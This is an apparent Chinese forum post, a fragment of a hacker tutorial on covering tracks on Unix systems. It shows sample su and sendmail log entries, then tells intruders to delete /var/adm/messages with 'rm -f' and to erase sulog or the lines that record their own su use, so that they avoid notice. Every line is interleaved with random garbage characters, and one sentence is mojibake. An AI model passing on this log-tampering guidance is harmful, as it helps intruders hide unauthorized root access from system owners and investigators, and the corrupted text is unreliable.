: V" b t- z0 ?! r& `, q* n$ W& I5 a9 P' q# _
"May 18 17:02:16 numen su: 'su root' succeeded for zw on /dev/pts/1"/ q- S3 S+ H( `* G/ S
; _# s/ {$ m% f# ~& m
如果黑客想利用``su''成為超級(jí)用戶，無論成功失敗，messages里都可能有記錄...
) I4 a0 u$ E& p
: _0 C" V) w# v7 G3，"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "wiz" command from numen"
5 e5 V. J& W. l+ [/ T6 M7 H3 G/ Q0 i6 S% y* f
"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "debug" command from numen"
( q& D: A1 a ~! w/ d- @4 H' c0 g6 y) N) Y) ~5 D. A
Sendmail早期版本的``wiz''、``debug''命令是漏洞所在，所以黑客可能會(huì)嘗試這兩個(gè)
W8 ^2 R x z0 u$ _* E1 H b0 N! n9 D$ @2 o8 [& b2 M
命令...
/ t+ f/ O( u( A6 D$ K4 E9 t) ^
- k8 S/ l- D% i' z* m因此，/var/adm/messages也是暴露黑客行蹤的隱患，最好把它刪掉(如果能的話，哈哈）！" V! M0 e( H; O; d$ g) V: K
4 V# O, A; O A! h" r) v Q
?
& X5 m8 \( J1 r; d+ r! l. v' \
+ V7 H& F5 z8 u2 r) m) k) |! X8 }# rm -f /var/adm/messages' V( e$ }; y# e0 L( g o/ K
( x1 ^: d- x5 Q% b0 P(samsa:爽!!!)
6 z* r; P0 c' b4 Z! z. b1 S+ {& M$ h' ~6 c$ a
或者，如果你不想引起注意的話，也可以只把對(duì)應(yīng)的行刪掉（當(dāng)然要有寫權(quán)限）。$ I' K, m- ?# t* Y! h0 d, {7 s
0 D. H0 W7 x2 R3 R8 J1 C. Z N
Φ男猩鏡簦ǖ比灰?行慈ㄏ蓿??
: f8 @. O$ i0 t4 r8 S3 m( v
' ?: Y8 q& @0 z% {5 \! ]3.4) sulog
6 h0 D( V8 z8 k0 h# x- c) G' `' g- ^! t8 V
/var/adm下還有一個(gè)sulog，是專門為su程序服務(wù)的：
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C# ^4 C5 k* a% y; ?6 {+ d/ X# cat sulog6 L5 {+ y+ r" t( _" G
; u* f1 T. U/ e8 I7 m |SU 05/06 09:05 + console root-zw
+ I, j; i0 p2 ^- M. b. s8 R2 _2 g& x( o" V z1 M
SU 05/06 13:55 - pts/9 yxun-root6 U, Q) M2 a" Q; D7 r$ A# u
8 C- l& X$ n# ?7 B
SU 05/06 14:03 + pts/9 yxun-root
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......7 P$ L a, x! p7 [: ?
( K8 ]! D: w7 ?! w/ v其中``+''表示su成功，``-''表示失敗。如果你用過su，那就把這個(gè)文件也刪掉把，
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或者把關(guān)于你的行刪掉 |
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發(fā)表于 2011-1-13 17:05:22
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